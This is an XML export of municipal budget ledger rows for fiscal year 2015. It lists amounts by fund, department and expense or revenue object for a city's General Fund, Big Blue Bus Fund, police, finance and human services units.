<row _id="17423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4077</total></row>
<row _id="17424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1947688</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1947688</total></row>
<row _id="17425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>63799</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>63799</total></row>
<row _id="17426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>344710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>344710</total></row>
<row _id="17427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-17683</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-17683</total></row>
<row _id="17428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1833476</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1833476</total></row>
<row _id="17429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20210</total></row>
<row _id="17430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>38660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38660</total></row>
<row _id="17431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-397</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-397</total></row>
<row _id="17432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-29399</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-29399</total></row>
<row _id="17433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12881</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12881</total></row>
<row _id="17434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>60000</total></row>
<row _id="17435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36200</total></row>
<row _id="17436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9700</total></row>
<row _id="17437"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>13880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13880</total></row>
<row _id="17438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6790</total></row>
<row _id="17439"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>38495</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38495</total></row>
<row _id="17440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2388</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2388</total></row>
<row _id="17441"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566660.0</object><object_description>3400-3500 AIRPORT AVE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>630349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>630349</total></row>
<row _id="17442"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>408473.0</object><object_description>OTHER BUSINESS PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-57280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-57280</total></row>
<row _id="17443"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>408680.0</object><object_description>ILLEGAL DISPOSAL ABATEMENT GRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-298064</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-298064</total></row>
<row _id="17444"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579010.0</object><object_description>DISCRET-PYFC PAYMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17445"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401381.0</object><object_description>DOG &amp; CAT NEUTER DEPOSITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-10247</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10247</total></row>
<row _id="17446"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2747</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2747</total></row>
<row _id="17447"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544080.0</object><object_description>LICENSE TAGS / STICKERS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1171</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1171</total></row>
<row _id="17448"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4174</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4174</total></row>
<row _id="17449"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544060.0</object><object_description>JAIL SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>69713</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>69713</total></row>
<row _id="17450"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2545</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2545</total></row>
<row _id="17451"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1826</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1826</total></row>
<row _id="17452"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401072.0</object><object_description>TENNIS TOURNAMENT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-32000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-32000</total></row>
<row _id="17453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>408710.0</object><object_description>PARKS &amp; REC IMPACT FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17454"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578842.0</object><object_description>JUSTICE ASSIST GRANT 2014</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>31585</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31585</total></row>
<row _id="17455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404290.0</object><object_description>MEASURE R LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-520000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-520000</total></row>
<row _id="17456"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4400</total></row>
<row _id="17457"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>67200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>67200</total></row>
<row _id="17458"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409004.0</object><object_description>CHILDCARE-DECEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-34717</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-34717</total></row>
<row _id="17459"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-12830</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-12830</total></row>
<row _id="17460"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407201.0</object><object_description>ROSIE'S GIRLS DONATIONS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1000</total></row>
<row _id="17461"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579962.0</object><object_description>BBB-GEN FUND REIMB-ISD</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>442327</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>442327</total></row>
<row _id="17462"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-9116</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9116</total></row>
<row _id="17463"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511851.0</object><object_description>REIMBURSEMENT FROM OPEB TRUST</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-14957</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14957</total></row>
<row _id="17464"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>364317</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>364317</total></row>
<row _id="17465"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3843</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3843</total></row>
<row _id="17466"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2115138</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2115138</total></row>
<row _id="17467"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20513</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20513</total></row>
<row _id="17468"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4647</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4647</total></row>
<row _id="17469"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409005.0</object><object_description>CHILDCARE-JANUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="17470"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409021.0</object><object_description>ENRICHMENT-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-154000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-154000</total></row>
<row _id="17471"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409072.0</object><object_description>ROSIE'S GIRLS-SUMMER I</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-24216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24216</total></row>
<row _id="17472"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407060.0</object><object_description>KEC TENANT RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-128266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-128266</total></row>
